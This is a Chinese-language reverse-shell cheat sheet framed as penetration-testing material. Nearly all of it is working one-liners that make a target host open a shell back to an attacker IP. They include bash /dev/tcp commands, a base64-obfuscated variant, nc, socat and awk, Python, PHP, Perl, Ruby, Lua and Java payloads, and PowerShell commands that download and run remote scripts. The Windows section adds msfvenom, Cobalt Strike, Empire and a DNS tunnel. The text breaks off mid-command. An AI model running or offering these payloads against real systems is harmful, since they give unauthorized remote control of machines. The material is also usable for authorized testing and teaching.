一、什么是反弹 Shell?
在渗透测试中,当目标主机因防火墙限制、端口过滤等原因导致无法直接连接时,反弹 Shell 技术可让目标主机主动向攻击者控制的主机发起连接,从而建立交互式命令行会话。这是内网渗透中突破网络限制、获取持续控制权限的核心手段。
基础环境约定:
-
攻击者主机 IP:
192.168.99.242
-
攻击者监听端口:
1234
(特殊场景会单独说明)
二、Linux 系统反弹 Shell 姿势
1. bash 原生反弹
原理
利用 bash 的重定向功能,将标准输入、输出、错误绑定到 TCP 连接,实现交互式 Shell。
命令示例
-
基础版:
bash -i >& /dev/tcp/192.168.99.242/1234 0>&1
-
bash -i
:启动交互式 bash -
>& /dev/tcp/...
:将输出重定向到 TCP 连接 -
0>&1
:将标准输入绑定到标准输出(实现双向通信) -
在线工具:反弹shell命令在线生成器|🔰雨苁🔰
-
-
Base64 编码版(规避特殊字符检测):
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'
-
变体(适用于特殊环境):
# 方法1:通过文件描述符维持连接 exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5;done # 方法2:直接绑定标准流 exec /bin/sh 0</dev/tcp/192.168.99.242/1234 1>&0 2>&0
2. netcat(nc)反弹
原理
利用 netcat 的 -e
参数直接将 Shell 绑定到 TCP 连接。
命令示例
nc -e /bin/bash 192.168.99.242 1234
-
注:部分 nc 版本不支持
-e
参数,需替换为管道方式:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.99.242 1234 >/tmp/f
3. awk 反弹
原理
利用 awk 的网络编程能力建立 TCP 连接并绑定 Shell。
命令示例
awk 'BEGIN{
s="/inet/tcp/0/192.168.99.242/1234";
for(;s|&getline c;close(c)) while(c|getline) print|&s;
close(s)
}'
4. telnet 反弹
原理
通过两个 telnet 连接分别传输命令和结果(需攻击者监听两个端口)。
操作步骤
-
攻击者同时监听 1234(输入)和 4321(输出):
nc -lvp 1234 # 终端1:接收命令输入 nc -lvp 4321 # 终端2:显示命令结果
-
目标机执行反弹命令:
telnet 192.168.99.242 1234 | /bin/bash | telnet 192.168.99.242 4321
5. socat 反弹
原理
通过 socat 工具建立带伪终端的 TCP 连接,支持更稳定的交互式 Shell。
命令示例
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.99.242:1234
-
优势:伪终端(pty)支持命令补全、信号传递(如 Ctrl+C)。
6. 编程语言反弹(多语言适配)
语言 | 反弹命令 |
---|---|
Python | python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.99.242',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);" |
PHP | php -r '$sock=fsockopen("192.168.99.242",1234);exec("/bin/sh -i <&3 >&3 2>&3");' |
Perl | perl -e 'use Socket;$i="192.168.99.242";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
Ruby | ruby -rsocket -e'f=TCPSocket.open("192.168.99.242",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' |
Lua | lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.99.242','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" |
7. Java 反弹
步骤
-
编写 Java 代码(Revs.java):
public class Revs { public static void main(String[] args) throws Exception { Runtime r = Runtime.getRuntime(); String cmd[] = {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"}; Process p = r.exec(cmd); p.waitFor(); } }
-
编译并执行:
javac Revs.java && java Revs
三、Windows 系统反弹 Shell 姿势
1. netcat(nc)反弹
步骤
-
下载 nc(https://eternallybored.org/misc/netcat/)并上传至目标机。
-
执行反弹命令:
nc 192.168.99.242 1234 -e c:\windows\system32\cmd.exe
2. PowerShell 反弹(powercat)
原理
powercat 是 PowerShell 实现的 netcat,免杀性优于传统 nc。
命令示例
-
在线加载执行:
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.99.242 -p 1234 -e cmd
-
本地加载执行:
Import-Module .\powercat.ps1 # 先下载powercat.ps1 powercat -c 192.168.99.242 -p 1234 -e cmd
3. MSF 框架生成 Payload
步骤
-
生成 Windows 反弹 Payload:
msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.99.242 LPORT=1234 -f raw
-
在 MSF 中启动监听:
msfconsole use exploit/multi/handler set payload cmd/windows/reverse_powershell set LHOST 192.168.99.242 set LPORT 1234 run
-
目标机执行生成的 Payload。
4. Cobalt Strike 反弹
步骤
-
配置监听器:
Cobalt Strike → Listeners → Add
(选择windows/beacon_tcp/reverse
)。 -
生成 Payload:
Attacks → Packages → Windows Executable
(保存为.exe
或.ps1
)。 -
目标机执行 Payload,获取 beacon 会话。
5. Empire 框架反弹
步骤
-
启动 Empire 并配置监听器:
uselistener http set Name test set Host 192.168.99.242 set Port 1234 execute
-
生成 Stager:
usestager windows/launcher_vbs set Listener test execute # 生成VBS脚本,目标机执行后反弹
6. Nishang 框架反弹
命令示例
-
TCP 反弹:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 192.168.99.242 -port 1234
-
UDP 反弹:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.99.242 -port 1234
7. Dnscat2(DNS 隧道反弹)
原理
通过 DNS 协议传输数据,绕过防火墙对 TCP/UDP 的限制。
步骤
-
服务端(攻击者):
git clone https://github.com/iagox86/dnscat2.git cd dnscat2/server ruby dnscat2.rb --dns "domain=lltest.com,host=192.168.99.242" --no-cache -e open -e open
-
目标机(Windows):
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebagg